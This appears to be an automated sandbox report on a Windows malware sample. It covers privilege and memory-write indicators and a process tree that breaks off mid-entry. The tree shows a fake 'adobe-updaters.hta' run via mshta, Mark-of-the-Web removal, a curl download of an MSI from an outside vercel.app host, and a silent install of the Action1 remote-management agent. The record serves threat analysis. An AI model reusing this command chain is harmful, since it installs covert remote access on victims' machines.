Token: SeDebugPrivilege	5096	msiexec.exe
Token: SeAuditPrivilege	5096	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5096	msiexec.exe
Token: SeChangeNotifyPrivilege	5096	msiexec.exe
Token: SeRemoteShutdownPrivilege	5096	msiexec.exe
Token: SeUndockPrivilege	5096	msiexec.exe
Token: SeSyncAgentPrivilege	5096	msiexec.exe
Token: SeEnableDelegationPrivilege	5096	msiexec.exe
Token: SeManageVolumePrivilege	5096	msiexec.exe
Token: SeImpersonatePrivilege	5096	msiexec.exe
Token: SeCreateGlobalPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeShutdownPrivilege	5140	MsiExec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeBackupPrivilege	1624	action1_agent.exe
Token: SeBackupPrivilege	1624	action1_agent.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe
Token: SeRestorePrivilege	4496	msiexec.exe
Token: SeTakeOwnershipPrivilege	4496	msiexec.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe
1360	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5096	msiexec.exe
4496	msiexec.exe
3444	MsiExec.exe
5140	MsiExec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 4324	4440	mshta.exe	89
PID 4324 wrote to memory of 4608	4324	cmd.exe	91
PID 4608 wrote to memory of 2900	4608	net.exe	92
PID 4440 wrote to memory of 2264	4440	mshta.exe	93
PID 4440 wrote to memory of 4800	4440	mshta.exe	95
PID 4800 wrote to memory of 3304	4800	cmd.exe	97
PID 4440 wrote to memory of 1360	4440	mshta.exe	98
PID 4440 wrote to memory of 936	4440	mshta.exe	99
PID 1360 wrote to memory of 2336	1360	msedge.exe	101
PID 936 wrote to memory of 5108	936	cmd.exe	102
PID 1360 wrote to memory of 4372	1360	msedge.exe	103
PID 1360 wrote to memory of 2928	1360	msedge.exe	104
PID 1360 wrote to memory of 4372	1360	msedge.exe	103
PID 1360 wrote to memory of 4372	1360	msedge.exe	103
PID 1360 wrote to memory of 6008	1360	msedge.exe	105
PID 1360 wrote to memory of 6008	1360	msedge.exe	105
PID 1360 wrote to memory of 3968	1360	msedge.exe	107
PID 1360 wrote to memory of 3968	1360	msedge.exe	107
PID 1360 wrote to memory of 3968	1360	msedge.exe	107
PID 1360 wrote to memory of 900	1360	msedge.exe	108
PID 1360 wrote to memory of 900	1360	msedge.exe	108
PID 1360 wrote to memory of 900	1360	msedge.exe	108
PID 1360 wrote to memory of 4744	1360	msedge.exe	109
PID 1360 wrote to memory of 4744	1360	msedge.exe	109
PID 1360 wrote to memory of 4744	1360	msedge.exe	109
PID 1360 wrote to memory of 4924	1360	msedge.exe	110
PID 1360 wrote to memory of 4924	1360	msedge.exe	110
PID 1360 wrote to memory of 4924	1360	msedge.exe	110
PID 1360 wrote to memory of 5396	1360	msedge.exe	111
PID 1360 wrote to memory of 5396	1360	msedge.exe	111
PID 1360 wrote to memory of 1432	1360	msedge.exe	113
PID 1360 wrote to memory of 1432	1360	msedge.exe	113
PID 1360 wrote to memory of 3160	1360	msedge.exe	114
PID 1360 wrote to memory of 3160	1360	msedge.exe	114
PID 1360 wrote to memory of 1216	1360	msedge.exe	116
PID 1360 wrote to memory of 1216	1360	msedge.exe	116
PID 1360 wrote to memory of 2204	1360	msedge.exe	115
PID 1360 wrote to memory of 2204	1360	msedge.exe	115
PID 1360 wrote to memory of 2204	1360	msedge.exe	115
PID 1360 wrote to memory of 4536	1360	msedge.exe	117
PID 4440 wrote to memory of 2916	4440	mshta.exe	118
PID 1360 wrote to memory of 3356	1360	msedge.exe	121
PID 1360 wrote to memory of 2120	1360	msedge.exe	122
PID 1360 wrote to memory of 2120	1360	msedge.exe	122
PID 1360 wrote to memory of 2820	1360	msedge.exe	123
PID 1360 wrote to memory of 2820	1360	msedge.exe	123
PID 1360 wrote to memory of 600	1360	msedge.exe	126
PID 1360 wrote to memory of 600	1360	msedge.exe	126
PID 1360 wrote to memory of 3236	1360	msedge.exe	127
PID 1360 wrote to memory of 3236	1360	msedge.exe	127
PID 4440 wrote to memory of 5200	4440	mshta.exe	164
PID 4440 wrote to memory of 108	4440	mshta.exe	130
PID 108 wrote to memory of 2860	108	cmd.exe	132
PID 4440 wrote to memory of 5096	4440	mshta.exe	133
PID 4496 wrote to memory of 3444	4496	msiexec.exe	135
PID 4496 wrote to memory of 5140	4496	msiexec.exe	136
PID 1624 wrote to memory of 4204	1624	action1_agent.exe	139
PID 1624 wrote to memory of 2292	1624	action1_agent.exe	141
PID 1360 wrote to memory of 3680	1360	msedge.exe	161
PID 1360 wrote to memory of 3396	1360	msedge.exe	148
PID 1360 wrote to memory of 2100	1360	msedge.exe	149
PID 2292 wrote to memory of 4316	2292	powershell.exe	172
PID 1624 wrote to memory of 1096	1624	action1_agent.exe	237
PID 1624 wrote to memory of 4768	1624	action1_agent.exe	154

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	42	curl/8.8.0

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\adobe-updaters.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4324
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      System Location Discovery: System Language Discovery
      PID:2900
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\adobe-updaters.hta:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 4 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 4 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://receipt-one-pearl.vercel.app/payment_sli
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ff8a445c188,0x7ff8a445c194,0x7ff8a445c1a0
    3⤵
    PID:2336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1708,i,12053337531717578258,9515602154787371378,262144 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:2
    3⤵
    PID:4372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1928,i,13246388022661592773,7711474413093819143,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=2688 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2392,i,17462010670136175005,6524764963831329553,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:13
    3⤵
    PID:6008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3632,i,3257497906726578595,10271629291577579808,2097152 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
    3⤵
    PID:3968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3640,i,14596175627347838209,6070258735645267049,2097152 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
    3⤵
    PID:900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4340,i,14488047147629912829,15755532632227354939,2097152 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:1
    3⤵
    PID:4744
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4364,i,10586521688154613639,12414891968346927965,2097152 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:9
    3⤵
    PID:4924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,6366331642638021621,6006186371138144138,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
    3⤵
    PID:5396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3804,i,2233411791362720884,17876531125678068702,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:14
    3⤵
    PID:1432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3752,i,16820158990315487701,4571551124097407335,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
    3⤵
    PID:3160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5960,i,15067968748960351879,6842415984130055887,2097152 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:1
    3⤵
    PID:2204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3760,i,17532922032837662999,16501151076427541480,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
    3⤵
    PID:1216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6332,i,15916311609776603235,14120122617779911862,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:14
    3⤵
    PID:4536
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6820,i,2772314292511499349,5313624371896558085,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
    3⤵
    PID:5312
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6820,i,2772314292511499349,5313624371896558085,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
    3⤵
    PID:3356
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7012,i,2319185203480108243,2119370292658683,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=7056 /prefetch:14
    3⤵
    PID:2120
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7244,i,8192554622512588153,14508413671660601833,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=7000 /prefetch:14
    3⤵
    PID:2820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7504,i,17027159733977947914,4097552143248316123,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=7072 /prefetch:14
    3⤵
    PID:600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,11539553801999033265,1761572602230557530,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=7252 /prefetch:14
    3⤵
    PID:3236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4564,i,11713440061417565260,494223840906097184,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:14
    3⤵
    PID:3680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5148,i,15164762283751547558,18209820320693420252,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
    3⤵
    PID:3396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5228,i,4912642135253263678,6847751640494177765,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:14
    3⤵
    PID:2100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6168,i,6425644261355398793,3493875626487071661,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
    3⤵
    PID:4456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4364,i,4527342676100091428,3963587689861294524,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=6812 /prefetch:14
    3⤵
    PID:2804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3520,i,5826610202679784664,4933821710193000170,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:14
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6320,i,7100201770853718255,6100527427108026417,262144 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=6932 /prefetch:10
    3⤵
    PID:3432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,17982102723666789003,17970810973118950966,524288 --field-trial-handle=2380,i,5797374625269464797,5227420356626306169,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:14
    3⤵
    PID:5776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5108
- C:\Windows\SysWOW64\curl.exe
  "C:\Windows\System32\curl.exe" --silent --location --fail --output "C:\Users\Admin\AppData\Local\Temp\action1.msi" "https://receipt-one-pearl.vercel.app/action1.msi"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\action1.msi:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5200
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:108
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2860
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /package "C:\Users\Admin\AppData\Local\Temp\action1.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5096

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5116

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2680

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 750B003E101E4B7C1D78217A9967A669
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3444
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3F697E8FB17931EB6C277E0DE6C4521D E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5140

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4204
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4316
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
